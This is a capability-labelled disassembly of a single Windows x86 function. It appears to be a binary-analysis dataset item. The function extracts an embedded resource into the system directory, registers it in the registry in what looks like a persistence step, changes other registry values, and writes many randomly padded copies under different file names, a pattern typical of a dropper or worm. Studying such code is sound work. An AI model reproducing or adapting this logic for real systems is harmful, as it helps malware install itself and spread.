Function at 0x40da18
Capabilities:
Create directory
Extract resource via kernel32 functions
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x40d9d8
call fcn.00404ba4
xor eax, eax
push ebp
push 0x40de82
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x44ccec], eax
push 0x44ccdc
lea eax, [ebp - 0x14]
mov ecx, 0x40de98
mov edx, dword [0x40e970]
call fcn.00403f74
mov eax, dword [ebp - 0x14]
call fcn.0040406c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov dword [0x44ccd8], 4
push 0x44ccd8
push 0x44ccec
push 0
push 0
push 0x40dea0
mov eax, dword [0x44ccdc]
push eax
call sub.advapi32.dll_RegQueryValueExA
cmp dword [0x44ccec], 0x83
jge 0x40dc06
mov dword [0x44ccec], 0x83
push 4
push 0x44ccec
push 4
push 0
push 0x40dea0
mov eax, dword [0x44ccdc]
push eax
call sub.advapi32.dll_RegSetValueExA
push 0xff
push 0x40f848
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, 0x44cce8
mov edx, 0x40f848
mov ecx, 0x400
call fcn.00403efc
push dword [0x44cce8]
push 0x40deb0
push dword [0x40e96c]
mov eax, 0x44cce8
mov edx, 3
call fcn.00403fe8
push 0xa
push 0x40deb4
mov eax, dword [0x40f710]
push eax
call sub.KERNEL32.DLL_FindResourceA
mov dword [0x44ccf0], eax
mov eax, dword [0x44ccf0]
push eax
mov eax, dword [0x40f710]
push eax
call sub.KERNEL32.DLL_LoadResource
mov dword [0x44ccf4], eax
mov edx, dword [0x44cce8]
mov eax, 0x44ccf8
call fcn.00402a9c
mov edx, 1
mov eax, 0x44ccf8
call fcn.00402dec
push 0
mov eax, dword [0x44ccf0]
push eax
mov eax, dword [0x40f710]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov ecx, eax
mov edx, dword [0x44ccf4]
mov eax, 0x44ccf8
call fcn.00402c14
mov eax, 0x44ccf8
call fcn.00402c34
mov eax, dword [0x44ccf0]
call fcn.00404d68
mov eax, dword [0x44ccf0]
push eax
call sub.KERNEL32.DLL_FreeResource
push 0x44ccdc
lea eax, [ebp - 0x18]
mov ecx, 0x40dec0
mov edx, dword [0x40e970]
call fcn.00403f74
mov eax, dword [ebp - 0x18]
call fcn.0040406c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x44cce8]
call fcn.00403f28
push eax
mov eax, 0x44cce8
call fcn.004040bc
push eax
push 1
push 0
mov eax, 0x40e96c
call fcn.004040bc
push eax
mov eax, dword [0x44ccdc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x44ccdc]
push eax
call sub.advapi32.dll_RegCloseKey
mov edx, 0x44cce8
xor eax, eax
call fcn.00402788
mov edx, dword [0x44cce8]
mov eax, 0x44ccf8
call fcn.00402a9c
mov eax, dword [0x40ea8c]
mov byte [eax], 0x40
mov edx, 1
mov eax, 0x44ccf8
call fcn.00402dd0
push 0
mov edx, 0x40fc48
mov ecx, 0xf200
mov eax, 0x44ccf8
call fcn.00402bf4
mov eax, 0x44ccf8
call fcn.00402c34
call fcn.004027e8
mov dword [0x44ce48], 1
mov eax, 0xff
call fcn.00402cac
mov edx, dword [0x44ce48]
mov byte [edx + 0x440987], al
inc dword [0x44ce48]
cmp dword [0x44ce48], 0xc351
jne 0x40dc68
xor eax, eax
mov dword [0x44ce50], eax
push 0x44ccdc
push 0x40dec4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
push 4
push 0x44ce50
push 4
push 0
push 0x40dee0
mov eax, dword [0x44ccdc]
push eax
call sub.advapi32.dll_RegSetValueExA
push 0xff
push 0x40f848
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, 0x44cce0
mov edx, 0x40f848
mov ecx, 0x400
call fcn.00403efc
mov eax, 0x44cce0
mov edx, 0x40def8
call fcn.00403f30
mov eax, 0x44cce4
mov ecx, dword [0x44cce0]
mov edx, 0x40df0c
call fcn.00403f74
mov eax, dword [0x44cce4]
call fcn.00403f28
push eax
mov eax, 0x44cce4
call fcn.004040bc
push eax
push 1
push 0
push 0x40df14
mov eax, dword [0x44ccdc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x44ccdc]
push eax
call sub.advapi32.dll_RegCloseKey
push 0
mov eax, dword [0x44cce0]
call fcn.0040406c
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
xor eax, eax
mov dword [0x44ce58], eax
call fcn.004027e8
mov dword [0x44ce44], 1
cmp dword [0x44ce58], 0x1f
jg 0x40de54
mov eax, 0xa
call fcn.00402cac
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
call fcn.00402824
fcomp dword [0x40df1c]
fnstsw ax
sahf
jne 0x40de3e
inc dword [0x44ce58]
push dword [0x44cce0]
push 0x40deb0
mov eax, dword [0x44ce44]
push dword [eax*4 + 0x40e2ac]
mov eax, 0x44cce8
mov edx, 3
call fcn.00403fe8
mov eax, dword [0x44cce8]
call fcn.00405a9c
mov dword [0x44ce54], eax
mov eax, dword [0x44ce54]
not eax
test eax, eax
jg 0x40de3e
mov edx, 0x40fc48
mov ecx, 0xf200
mov eax, dword [0x44ce54]
call fcn.00405ac0
mov eax, 0x7530
call fcn.00402cac
add eax, 0x1f40
mov dword [0x44ce4c], eax
mov edx, 0x440988
mov ecx, dword [0x44ce4c]
mov eax, dword [0x44ce54]
call fcn.00405ac0
mov edx, dword [0x44ce4c]
add edx, 0x2e39a333
mov eax, dword [0x44ce54]
call fcn.00405af4
mov eax, dword [0x44ce54]
call fcn.00405aec
inc dword [0x44ce44]
cmp dword [0x44ce44], 0x1b0
jne 0x40dd6a
push 0
push 0x40df20
push 0x40df28
push 0
call sub.user32.dll_MessageBoxA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40de89
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00403cdc
ret